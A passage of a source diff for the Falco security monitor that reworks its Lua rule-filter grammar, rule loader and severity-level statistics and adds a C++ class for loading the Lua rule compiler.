      rel(terminal "FieldName", V"InOp", V"InList") +
-     rel(terminal "FieldName", V"PmatchOp", V"InList") +
      V"PrimaryExp";
 
   PrimaryExp = symb("(") * V"Filter" * symb(")");
@@ -236,16 +212,14 @@ local G = {
   idRest = alnum + P("_");
   Identifier = V"idStart" * V"idRest"^0;
   Macro = V"idStart" * V"idRest"^0 * -P".";
-  Int = digit^1;
-  PathString = (alnum + S'-_/*?')^1;
-  Index = V"Int" + V"PathString";
-  FieldName = V"Identifier" * (P"." + V"Identifier")^1 * (P"[" * V"Index" * P"]")^-1;
+  FieldName = V"Identifier" * (P"." + V"Identifier")^1 * (P"[" * V"Int" * P"]")^-1;
   Name = C(V"Identifier") * -V"idRest";
   Hex = (P("0x") + P("0X")) * xdigit^1;
   Expo = S("eE") * S("+-")^-1 * digit^1;
   Float = (((digit^1 * P(".") * digit^0) +
           (P(".") * digit^1)) * V"Expo"^-1) +
           (digit^1 * V"Expo");
+  Int = digit^1;
   Number = C(V"Hex" + V"Float" + V"Int") /
            function (n) return tonumber(n) end;
   String = (P'"' * C(((P'\\' * P(1)) + (P(1) - P'"'))^0) * P'"' +  P"'" * C(((P"\\" * P(1)) + (P(1) - P"'"))^0) * P"'")  / function (s) return fix_str(s) end;
@@ -262,11 +236,8 @@ local G = {
           symb("<") / "<" +
           symb(">") / ">" +
           symb("contains") / "contains" +
-          symb("icontains") / "icontains" +
-          symb("glob") / "glob" +
-          symb("startswith") / "startswith";
+          symb("icontains") / "icontains";
   InOp = kw("in") / "in";
-  PmatchOp = kw("pmatch") / "pmatch";
   UnaryBoolOp = kw("not") / "not";
   ExistsOp = kw("exists") / "exists";
 
@@ -325,33 +296,33 @@ parser.print_ast = print_ast
 -- have the signature:
 --     cb(ast_node, ctx)
 -- ctx is optional.
-function traverse_ast(ast, node_types, cb, ctx)
+function traverse_ast(ast, node_type, cb, ctx)
    local t = ast.type
 
-   if node_types[t] ~= nil then
+   if t == node_type then
       cb(ast, ctx)
    end
 
    if t == "Rule" then
-      traverse_ast(ast.filter, node_types, cb, ctx)
+      traverse_ast(ast.filter, node_type, cb, ctx)
 
    elseif t == "Filter" then
-      traverse_ast(ast.value, node_types, cb, ctx)
+      traverse_ast(ast.value, node_type, cb, ctx)
 
    elseif t == "BinaryBoolOp" or t == "BinaryRelOp" then
-      traverse_ast(ast.left, node_types, cb, ctx)
-      traverse_ast(ast.right, node_types, cb, ctx)
+      traverse_ast(ast.left, node_type, cb, ctx)
+      traverse_ast(ast.right, node_type, cb, ctx)
 
    elseif t == "UnaryRelOp" or t == "UnaryBoolOp" then
-      traverse_ast(ast.argument, node_types, cb, ctx)
+      traverse_ast(ast.argument, node_type, cb, ctx)
 
    elseif t == "List" then
       for i, v in ipairs(ast.elements) do
-         traverse_ast(v, node_types, cb, ctx)
+         traverse_ast(v, node_type, cb, ctx)
       end
 
    elseif t == "MacroDef" then
-      traverse_ast(ast.value, node_types, cb, ctx)
+      traverse_ast(ast.value, node_type, cb, ctx)
 
    elseif t == "FieldName" or t == "Number" or t == "String" or t == "BareString" or t == "Macro" then
       -- do nothing, no traversal needed

userspace/falco/lua/rule_loader.lua

@@ -1,20 +1,3 @@
---
--- Copyright (C) 2016 Draios inc.
---
--- This file is part of falco.
---
--- falco is free software; you can redistribute it and/or modify
--- it under the terms of the GNU General Public License version 2 as
--- published by the Free Software Foundation.
---
--- falco is distributed in the hope that it will be useful,
--- but WITHOUT ANY WARRANTY; without even the implied warranty of
--- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
--- GNU General Public License for more details.
---
--- You should have received a copy of the GNU General Public License
--- along with falco.  If not, see <http://www.gnu.org/licenses/>.
-
 --[[
    Compile and install falco rules.
 
@@ -22,6 +5,7 @@
 
 --]]
 
+local output = require('output')
 local compiler = require "compiler"
 local yaml = require"lyaml"
 
@@ -89,7 +73,7 @@ local function install_filter(node, parent_bool_op)
       filter.unnest() -- io.write(")")
 
    elseif t == "BinaryRelOp" then
-      if (node.operator == "in" or node.operator == "pmatch") then
+      if (node.operator == "in") then
 	 elements = map(function (el) return el.value end, node.right.elements)
 	 filter.rel_expr(node.left.value, node.operator, elements, node.index)
       else
@@ -117,23 +101,28 @@ function set_output(output_format, state)
    end
 end
 
+local function priority(s)
+   s = string.lower(s)
+   for i,v in ipairs(output.levels) do
+      if (string.find(string.lower(v), "^"..s)) then
+	 return i - 1 -- (syslog levels start at 0, lua indices start at 1)
+      end
+   end
+   error("Invalid severity level: "..s)
+end
+
 -- Note that the rules_by_name and rules_by_idx refer to the same rule
 -- object. The by_name index is used for things like describing rules,
 -- and the by_idx index is used to map the relational node index back
 -- to a rule.
-local state = {macros={}, lists={}, filter_ast=nil, rules_by_name={}, n_rules=0, rules_by_idx={}}
+local state = {macros={}, filter_ast=nil, rules_by_name={}, n_rules=0, rules_by_idx={}}
 
-function load_rules(rules_content, rules_mgr, verbose, all_events)
+function load_rules(filename)
 
-   compiler.set_verbose(verbose)
-   compiler.set_all_events(all_events)
-
-   local rules = yaml.load(rules_content)
-
-   if rules == nil then
-      -- An empty rules file is acceptable
-      return
-   end
+   local f = assert(io.open(filename, "r"))
+   local s = f:read("*all")
+   f:close()
+   local rules = yaml.load(s)
 
    for i,v in ipairs(rules) do -- iterate over yaml list
 
@@ -142,28 +131,9 @@ function load_rules(rules_content, rules_mgr, verbose, all_events)
       end
 
       if (v['macro']) then
-	 local ast = compiler.compile_macro(v['condition'], state.lists)
+	 local ast = compiler.compile_macro(v['condition'])
 	 state.macros[v['macro']] = ast.filter.value
 
-      elseif (v['list']) then
-	 -- list items are represented in yaml as a native list, so no
-	 -- parsing necessary
-	 local items = {}
-
-	 -- List items may be references to other lists, so go through
-	 -- the items and expand any references to the items in the list
-	 for i, item in ipairs(v['items']) do
-	    if (state.lists[item] == nil) then
-	       items[#items+1] = item
-	    else
-	       for i, exp_item in ipairs(state.lists[item]) do
-		  items[#items+1] = exp_item
-	       end
-	    end
-	 end
-
-	 state.lists[v['list']] = items
-
       else -- rule
 
 	 if (v['rule'] == nil) then
@@ -176,10 +146,11 @@ function load_rules(rules_content, rules_mgr, verbose, all_events)
 	    end
 	 end
 
+	 -- Convert the priority as a string to a level now
+	 v['level'] = priority(v['priority'])
 	 state.rules_by_name[v['rule']] = v
 
-	 local filter_ast, evttypes = compiler.compile_filter(v['rule'], v['condition'],
-							      state.macros, state.lists)
+	 local filter_ast = compiler.compile_filter(v['condition'], state.macros)
 
 	 if (filter_ast.type == "Rule") then
 	    state.n_rules = state.n_rules + 1
@@ -193,11 +164,6 @@ function load_rules(rules_content, rules_mgr, verbose, all_events)
 	    -- event.
 	    mark_relational_nodes(filter_ast.filter.value, state.n_rules)
 
-	    install_filter(filter_ast.filter.value)
-
-	    -- Pass the filter and event types back up
-	    falco_rules.add_filter(rules_mgr, v['rule'], evttypes)
-
 	    -- Rule ASTs are merged together into one big AST, with "OR" between each
 	    -- rule.
 	    if (state.filter_ast == nil) then
@@ -205,21 +171,13 @@ function load_rules(rules_content, rules_mgr, verbose, all_events)
 	    else
 	       state.filter_ast = { type = "BinaryBoolOp", operator = "or", left = state.filter_ast, right = filter_ast.filter.value }
 	    end
-
-	    -- Enable/disable the rule
-	    if (v['enabled'] == nil) then
-	       v['enabled'] = true
-	    end
-
-	    if (v['enabled'] == false) then
-	       falco_rules.enable_rule(rules_mgr, v['rule'], 0)
-	    end
 	 else
 	    error ("Unexpected type in load_rule: "..filter_ast.type)
 	 end
       end
    end
 
+   install_filter(state.filter_ast)
    io.flush()
 end
 
@@ -271,7 +229,11 @@ function describe_rule(name)
    end
 end
 
-local rule_output_counts = {total=0, by_priority={}, by_name={}}
+local rule_output_counts = {total=0, by_level={}, by_name={}}
+
+for idx=0,table.getn(output.levels)-1,1 do
+   rule_output_counts.by_level[idx] = 0
+end
 
 function on_event(evt_, rule_id)
 
@@ -282,10 +244,10 @@ function on_event(evt_, rule_id)
    rule_output_counts.total = rule_output_counts.total + 1
    local rule = state.rules_by_idx[rule_id]
 
-   if rule_output_counts.by_priority[rule.priority] == nil then
-      rule_output_counts.by_priority[rule.priority] = 1
+   if rule_output_counts.by_level[rule.level] == nil then
+      rule_output_counts.by_level[rule.level] = 1
    else
-      rule_output_counts.by_priority[rule.priority] = rule_output_counts.by_priority[rule.priority] + 1
+      rule_output_counts.by_level[rule.level] = rule_output_counts.by_level[rule.level] + 1
    end
 
    if rule_output_counts.by_name[rule.rule] == nil then
@@ -294,14 +256,17 @@ function on_event(evt_, rule_id)
       rule_output_counts.by_name[rule.rule] = rule_output_counts.by_name[rule.rule] + 1
    end
 
-   return rule.rule, rule.priority, rule.output
+   output.event(evt_, rule.rule, rule.level, rule.output)
 end
 
 function print_stats()
    print("Events detected: "..rule_output_counts.total)
    print("Rule counts by severity:")
-   for priority, count in pairs(rule_output_counts.by_priority) do
-      print ("   "..priority..": "..count)
+   for idx, level in ipairs(output.levels) do
+      -- To keep the output concise, we only print 0 counts for error, warning, and info levels
+      if rule_output_counts.by_level[idx-1] > 0 or level == "Error" or level == "Warning" or level == "Informational" then
+	 print ("   "..level..": "..rule_output_counts.by_level[idx-1])
+      end
    end
 
    print("Triggered rules by rule name:")

userspace/falco/lua/test.lua

@@ -1,20 +1,3 @@
---
--- Copyright (C) 2016 Draios inc.
---
--- This file is part of falco.
---
--- falco is free software; you can redistribute it and/or modify
--- it under the terms of the GNU General Public License version 2 as
--- published by the Free Software Foundation.
---
--- falco is distributed in the hope that it will be useful,
--- but WITHOUT ANY WARRANTY; without even the implied warranty of
--- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
--- GNU General Public License for more details.
---
--- You should have received a copy of the GNU General Public License
--- along with falco.  If not, see <http://www.gnu.org/licenses/>.
-
 local parser = require "parser"
 
 if #arg ~= 1 then

userspace/falco/rules.cpp

@@ -0,0 +1,129 @@
+#include "rules.h"
+
+extern "C" {
+#include "lua.h"
+#include "lualib.h"
+#include "lauxlib.h"
+}
+
+
+falco_rules::falco_rules(sinsp* inspector, lua_State *ls, string lua_main_filename)
+{
+        m_inspector = inspector;
+	m_ls = ls;
+
+	m_lua_parser = new lua_parser(inspector, m_ls);
+
+	load_compiler(lua_main_filename);
+}
+
+
+void falco_rules::load_compiler(string lua_main_filename)
+{
+	ifstream is;
+	is.open(lua_main_filename);
+	if(!is.is_open())
+	{
+		throw sinsp_exception("can't open file " + lua_main_filename);
+	}
+
+	string scriptstr((istreambuf_iterator<char>(is)),
+			 istreambuf_iterator<char>());
+
+	//
+	// Load the compiler script
+	//
+	if(luaL_loadstring(m_ls, scriptstr.c_str()) || lua_pcall(m_ls, 0, 0, 0))
+	{
+		throw sinsp_exception("Failed to load script " +
+			lua_main_filename + ": " + lua_tostring(m_ls, -1));
+	}
+}
+
+void falco_rules::load_rules(string rules_filename)
+{
+	lua_getglobal(m_ls, m_lua_load_rules.c_str());
+	if(lua_isfunction(m_ls, -1))
+	{
+		// Create a table containing the syscalls/events that
+		// are ignored by the kernel module. load_rules will
+		// return an error if any rule references one of these
+		// syscalls/events.
+		sinsp_evttables* einfo = m_inspector->get_event_info_tables();
+		const struct ppm_event_info* etable = einfo->m_event_info;
+		const struct ppm_syscall_desc* stable = einfo->m_syscall_info_table;
+
+		lua_newtable(m_ls);
+
+		for(uint32_t j = 0; j < PPM_EVENT_MAX; j++)
+		{
+			if(etable[j].flags & EF_DROP_FALCO)
+			{
+				lua_pushstring(m_ls, etable[j].name);
+				lua_pushnumber(m_ls, 1);
+				lua_settable(m_ls, -3);
+			}
+		}
+
+		lua_setglobal(m_ls, m_lua_ignored_events.c_str());
+
+		lua_newtable(m_ls);
+
+		for(uint32_t j = 0; j < PPM_SC_MAX; j++)
+		{
+			if(stable[j].flags & EF_DROP_FALCO)
+			{
+				lua_pushstring(m_ls, stable[j].name);
+				lua_pushnumber(m_ls, 1);
+				lua_settable(m_ls, -3);
+			}
+		}
+
+		lua_setglobal(m_ls, m_lua_ignored_syscalls.c_str());
+
+		lua_pushstring(m_ls, rules_filename.c_str());
+		if(lua_pcall(m_ls, 1, 0, 0) != 0)
+		{
+			const char* lerr = lua_tostring(m_ls, -1);
+			string err = "Error loading rules:" + string(lerr);
+			throw sinsp_exception(err);
+		}
+	} else {
+		throw sinsp_exception("No function " + m_lua_load_rules + " found in lua rule module");
+	}
+}
+
+void falco_rules::describe_rule(std::string *rule)
+{
+	lua_getglobal(m_ls, m_lua_describe_rule.c_str());
+	if(lua_isfunction(m_ls, -1))
+	{
+		if (rule == NULL)
+		{
+			lua_pushnil(m_ls);
+		} else {
+			lua_pushstring(m_ls, rule->c_str());
+		}
+
+		if(lua_pcall(m_ls, 1, 0, 0) != 0)
+		{
+			const char* lerr = lua_tostring(m_ls, -1);
+			string err = "Could not describe " + (rule == NULL ? "all rules" : "rule " + *rule) + ": " + string(lerr);
+			throw sinsp_exception(err);
+		}
+	} else {
+		throw sinsp_exception("No function " + m_lua_describe_rule + " found in lua rule module");
+	}
+}
+
+
+sinsp_filter* falco_rules::get_filter()
+{
+	return m_lua_parser->get_filter();
+}
+
+falco_rules::~falco_rules()
+{
+	delete m_lua_parser;
+}
+

userspace/falco/rules.h

@@ -0,0 +1,27 @@
+#pragma once
+
+#include "sinsp.h"
+#include "lua_parser.h"
+
+class falco_rules
+{
+ public:
+	falco_rules(sinsp* inspector, lua_State *ls, string lua_main_filename);
+	~falco_rules();
+	void load_rules(string rules_filename);
+	void describe_rule(string *rule);
+	sinsp_filter* get_filter();
+
+ private:
+	void load_compiler(string lua_main_filename);
+
+	lua_parser* m_lua_parser;
+	sinsp* m_inspector;
+	lua_State* m_ls;
+
+	string m_lua_load_rules = "load_rules";
+	string m_lua_ignored_syscalls = "ignored_syscalls";
+	string m_lua_ignored_events = "ignored_events";
+	string m_lua_on_event = "on_event";
+	string m_lua_describe_rule = "describe_rule";
+};